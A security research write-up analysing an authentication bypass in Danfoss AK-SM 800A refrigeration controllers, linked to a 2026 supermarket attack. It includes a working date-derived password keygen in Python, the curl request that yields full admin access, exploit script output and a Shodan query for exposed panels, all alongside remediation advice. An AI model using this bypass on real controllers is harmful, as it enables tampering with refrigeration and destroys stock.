news · 10 min read
A technical analysis of the cyberattack that caused millions in losses across hundreds of European supermarkets
Hundreds of French supermarkets lost refrigeration overnight. The vector is still unconfirmed; the prime suspect is a controller that validates the technician with a password derived from today's date. We pulled the firmware, ran it in a lab and got in with no credentials.
· Manuel López Pérez y Pablo Plaza Martínez · news

On the night of 11–12 October 2026, a wave of attacks knocked out refrigeration at hundreds of supermarkets in France. The attackers forced a continuous defrost cycle that pushed the temperature of cold rooms and display cases tens of degrees above their normal values, and the chains had to discard product in bulk. Among those hit, according to the coverage: Intermarché, Netto, Super U, Carrefour Market, Monoprix, E.Leclerc and Auchan; estimates of affected stores range from ~150 to ~400 depending on the source. CERT-FR issued alert CERTFR-2026-ALE-012 over numerous compromises of Danfoss equipment in the AK-SM and AK-SC series, and the Sekoia analysis cited by Reuters pointed to affected equipment also in Spain, Portugal, Poland, Germany and Belgium.

El País: the cyberattack spoils fresh and frozen food at several French supermarkets and leaves losses in the millions.

The New York Times: the attack hit refrigeration at more than 400 supermarkets and forced shops to throw out frozen produce; the attackers remain unidentified.
Whether the attack went through CVE-2025-41450 is, for now, just a hypothesis: the vector has not been officially established and the investigation is still open. Several reports throughout this year had already warned that something like this could happen, and during 2025 several vulnerabilities were disclosed in Danfoss equipment that ended in a vendor fix. The flaw we look at here is public and patched (at least since R4.3.1). All of the research and the reproduction of the attack were done on our own equipment in an isolated lab, without affecting any production system. We wanted to use this incident to analyse the vulnerabilities in detail and try to reproduce, in a controlled environment, what the attackers may have done.
Thousands of them, reachable from the Internet
Before the flaw, it helps to understand why a refrigeration controller ends up reachable from the Internet. The AK-SM 800A is meant to live on the company’s internal network, but it ships with a web management panel and, in many installations, it gets published to allow remote maintenance without sending a technician on site. That surface is easy to inventory: on Shodan —the same tool attackers use to find targets— a search by the panel title, http.title:"Danfoss StoreView", returns 4,764 exposed devices. France leads with 2,850 (the country of the October 2026 attack), followed by South Africa (555), the US (170), Portugal (136) and Belgium (115).

Shodan (14 Oct 2026): 4,764 AK-SM panels reachable from the Internet, with France in the lead.
“Exposed” is not “vulnerable”. The query does not filter by firmware version: among those 4,764 there will be already-patched devices (R4.3.1) and others not. What it measures is how many have the panel reachable from the Internet, which is the precondition for the bypass to be exploitable remotely. On top of that, Shodan indexes what it saw on its last crawl but does not check in real time, so some of those devices may no longer even be reachable.
What an AK-SM 800A is
The Danfoss AK-SM 800A (System Manager / StoreView family) is the master controller of a site’s commercial refrigeration. It is an OT device that lives on the company’s internal network: it exposes a web management panel and, behind it, communicates over an internal field bus (Modbus / LON) with the controllers of each refrigeration unit (the AK-CC units for display cases and cold rooms) and with the compressor packs (AK-PC). From there it supervises, sets the working temperatures and manages the alarms of all the cooling in the store.

The only thing meant to face the network —and, far too often, the Internet— is the web management panel; the field bus to the case controllers and compressor packs is internal.
The lab: pre-patch firmware and reversing
To study the flaw without going anywhere near a real device, we obtained the Danfoss firmware in a version prior to the patch and rehosted it in a lab. The application binary, sm_app (ARMv7), runs inside a Debian stretch armhf container with QEMU user-mode; nginx acts as the front, serving the Angular SPA and acting as a reverse proxy, and behind it the CGIs resolve the business logic over FastCGI. On that setup we reverse-engineered the components to understand how the login works and what capabilities it grants.
nginx handles the requests, but all authentication is resolved by the sm_app CGI behind it. The RE exposes the API: requests go to POST /xml.cgi, with an action attribute that selects the handler (there are on the order of 17). The authentication path is the getauth action, which reaches check_authorize. That is where a mode parameter comes into play: without it, the request is validated as usual —system users via PAM—; but setting eds_only="1" (or quantum_only="1") diverts the flow to a service path, check_code_of_day, whose code is derived from the device’s date.

The same getauth takes two paths depending on the mode: the normal PAM validation or the check_code_of_day service path.
With the routes, the parameters and the flow clear, the rest of the article looks at exactly what that service function does.
The “code of the day”
Many industrial devices include a service access so the vendor’s technician can get in without the customer’s password. A classic —and dangerous— way to implement it is the code of the day: a code that changes every day according to a formula that, in theory, only the vendor knows.
The problem shows up when that “secret formula” is the only thing protecting access (security by obscurity) and it can also be recovered from the firmware itself. That is exactly what happens here: sm_app ships unobfuscated, with function and variable names in plain sight. The one that validates the code is called, literally, check_code_of_day. Reconstructing it from the disassembly, the “secret algorithm” is this:
/* Get_syst_current_tds returns the device's current date:
month, day and year (YY = year % 100). */
int check_code_of_day(const char *pass)
{
tds_t date; char buff[512]; long hex, tothex;
Get_syst_current_tds(&date); // (0) device's current date
// (1) concatenate 4 fields as 8 decimal digits: MM DD YY MM
ftext_s(buff, 511, "%02d%02d%02d%02d", date.month, date.day, date.yy, date.month);
sscanf(buff, "%lx", &hex); // (2) parsed as hexadecimal
// (3) the day, also as hexadecimal -> divisor
ftext_s(buff, 511, "%02d", date.day);
sscanf(buff, "%lx", &tothex);
hex = hex / tothex; // (4) integer division
hex = hex % 100000; // (5) low 5 digits
ftext_s(buff, 511, "%05ld", hex); // (6) expected code
return (memcmp(pass, buff, 5) == 0) ? 1 : 0; // (7) compare the first 5 bytes
}In one line:
code_of_the_day = ( “MMDDYYMM”₁₆ ÷ “DD”₁₆ ) mod 100000, formatted to 5 digits.
The two details that make it insecure:
- There is no cryptography. It is not a hash or an HMAC. You take the date, reinterpret some decimal digits as if they were hexadecimal (step 2), divide by the day and keep the low 5 digits. Reversible by hand.
- The only input is the date, which is public. There is no per-device key, no server secret, no nonce / challenge. The code for any day can be computed offline, without touching the device.
The keygen: 11 lines of Python
Reproducing the firmware algorithm fits in a single function. This is everything needed to generate the code for any date:
#!/usr/bin/env python3
import sys, datetime
def code_of_day(month, day, year):
yy = year % 100
s = "%02d%02d%02d%02d" % (month, day, yy, month) # MM DD YY MM
A = int(s, 16) # reinterpreted as hex
B = int("%02d" % day, 16) # day as hex
return "%05d" % ((A // B) % 100000) # (A/B) mod 100000The same code works for the whole fleet that day and is predictable for any future date. There is nothing to rotate or revoke: as long as the algorithm lives on the device, tomorrow’s “master key” is already known today.
Reproducing it in the lab
With the route and the parameter identified, the attack is a single POST. The password is the keygen output for the device’s date:
curl -s http://DEVICE:PORT/xml.cgi -X POST \
-H 'Content-Type: text/xml' \
--data '<cmd user="" password="87796" lang="English" version="C" action="getauth" eds_only="1"></cmd>'The response acts as a perfect oracle — it tells the correct code from the incorrect one with no ambiguity:
| password | authtype | accesslevel | result |
|---|---|---|---|
87796 (correct) | 16777215 | 1 | FULL ADMIN |
00000 | -1 | 255 | denied |
11111 | -1 | 255 | denied |
Real device response with the correct code:
<resp ... action="getauth" eds_only="1" error="0">
<authorization>01-01</authorization>
<authtype>16777215</authtype> <!-- 0xFFFFFF: all permissions -->
<access>01-01</access>
<accesslevel>1</accesslevel>
<strongpassword>1</strongpassword>
</resp>Chained in a script, the attack is a one-shot:
$ ./exploit_cve_2025_41450.sh 127.0.0.1:8088
[*] target : http://127.0.0.1:8088/xml.cgi
[*] code of the day: 87796 (derived from date; no credentials needed)
[*] request : <cmd user="" password="87796" ... action="getauth" eds_only="1"></cmd>
[*] response : <resp ... error="0"><authtype>16777215</authtype>...</resp>
[+] BYPASS OK -> authtype=16777215 (0xFFFFFF, all permissions), accesslevel=1 == FULL ADMINImpact
The bypass does not grant a limited “diagnostic mode”: it grants the full permission mask, authtype = 0xFFFFFF (16,777,215), the same as the firmware’s Supervisor user. To confirm it, we logged in against the rehost itself. The SPA sends getauth without the mode attribute, so we intercepted that request and added eds_only="1" — exactly the bypass described above.

Real login — System Manager 800A, version SVB501.000.139 (lab rehost, no field devices).

After the bypass, the full admin menu: Software Upgrade, Export/Import Database, Operating System, Software Rollback… full control of the device.
That access also reaches the management of the refrigeration circuits. On the rehost we defined a few example case controllers so the demo would make sense:

Real refrigeration-controller management screen (Case Control) with three example circuits.
An attacker with network access to the panel gets in without credentials, on any device in the fleet and on any day, and operates the cooling system with full permissions. From there to the cold chain it is a single step:

The full attack chain, from start to finish.
The October 2026 attack on French supermarkets produced exactly that effect —equipment forced to warm up, product discarded in bulk— even though its specific vector remains unconfirmed. The weaknesses that make it possible:
| Weakness | Detail | CWE |
|---|---|---|
| Predictable credential | The only “secret” is the date, which is public. The code is computed offline, without touching the device. | CWE-1391, 330 |
| Universal and permanent | The same code works for the whole fleet that day and for any future date. The compromise is massive and irreversible. | CWE-287 |
| No cryptography | No hash, no HMAC: reinterpret decimals as hex, one division and one modulo. Reversible by hand. | — |
| Obscurity broken at source | All protection relies on hiding the formula, but sm_app ships unobfuscated, with symbols in plain sight. | CWE-656 |
| Trivial space | Output ∈ [0, 99999]. Even without the formula, 5 digits by brute force; no lockout observable in the routine. | CWE-307 |
Remediation
- Update the firmware to the latest version (at least R4.3.1, where Danfoss removes the code-of-the-day path).
- Do not expose the management interface to the Internet. Segment into an OT VLAN / VPN and restrict panel access to the networks that genuinely need it.
- Replace the scheme with a challenge-response backed by a secret in the backend/HSM, tied to the serial number and with a short time window. Never a credential derived from public data.
- Add rate-limiting / lockout and auditing on authentication.
- Monitor the exposure surface: periodically review which of your own devices are reachable from the Internet (for example with Shodan searches) and close anything that should not be published.
- Run security audits that assess this kind of flaw proactively, before an attacker does.
The lesson. Deriving a credential from a public value like the date and relying entirely on hiding the formula is security by obscurity, and in embedded software that obscurity lasts only as long as it takes someone to open the binary. A service access must be cryptographic, per-device and revocable; a credential that cannot be rotated or revoked protects nothing.
References
- CISA — advisory ICSA-25-140-03 · Danfoss DSA (Aug. 2025)
- CERT-FR — alert
CERTFR-2026-ALE-012 - Coverage of the supermarket attack (Oct. 2026): The Hacker News · TIME · Industrial Cyber
- cve-2025-41450
- danfoss
- ak-sm-800a
- ot-security
- ics
- refrigeracion
- auth-bypass
- reversing
- security-by-obscurity
- vendor:danfoss


